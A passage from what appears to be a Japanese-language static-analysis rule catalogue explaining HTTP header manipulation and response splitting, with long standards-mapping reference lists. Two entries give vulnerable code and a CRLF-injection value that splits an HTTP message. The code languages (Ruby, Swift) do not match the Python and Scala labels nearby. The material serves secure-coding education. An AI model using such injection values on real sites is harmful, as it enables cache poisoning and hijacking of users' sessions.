[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.python.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、サイトの別の部分への get リクエストに使用します。


author = req.params[AUTHOR_PARAM]
http = Net::HTTP.new(URI("http://www.mysite.com"))
http.post('/index.php', "author=#{author}")


「Jane Smith」のような標準的な英数字で構成される文字列がリクエストで送信されたと仮定した場合、HTTP レスポンスは次の形式になります。


POST /index.php HTTP/1.1
Host: www.mysite.com
author=Jane Smith
...


ただし、URL の値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nPOST /index.php HTTP/1.1\r\n...」といった悪意のある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


POST /index.php HTTP/1.1
Host: www.mysite.com
author=Wiley Hacker

POST /index.php HTTP/1.1
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意のあるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.ruby.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie の不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。 基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。 HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。 これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。 たとえば、Play Framework では、禁止されている文字を含むヘッダーを設定しようとすると、例外が発生します。 使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。 しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.scala.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。


2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントで、namevalue が攻撃者によって制御される可能性がある場合を想定します。このコードは、名前と値が攻撃者によって制御される可能性のある HTTP ヘッダーを設定します。


...
var headers = []
headers[name] = value
let config = NSURLSessionConfiguration.backgroundSessionConfigurationWithIdentifier("com.acme")
config.HTTPAdditionalHeaders = headers
...


名前と値のペアが authorJane Smith で構成されると想定すると、このヘッダーを含む HTTP レスポンスは次の形式をとります。


HTTP/1.1 200 OK
...
author:Jane Smith
...


ただし、ヘッダーの値は未検証のユーザー入力から成るため、攻撃者が HTTP/1.1 200 OK\r\n...foobar などの悪意のある名前/値のペアを送信する可能性があり、その場合 HTTP レスポンスは次の形式の 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
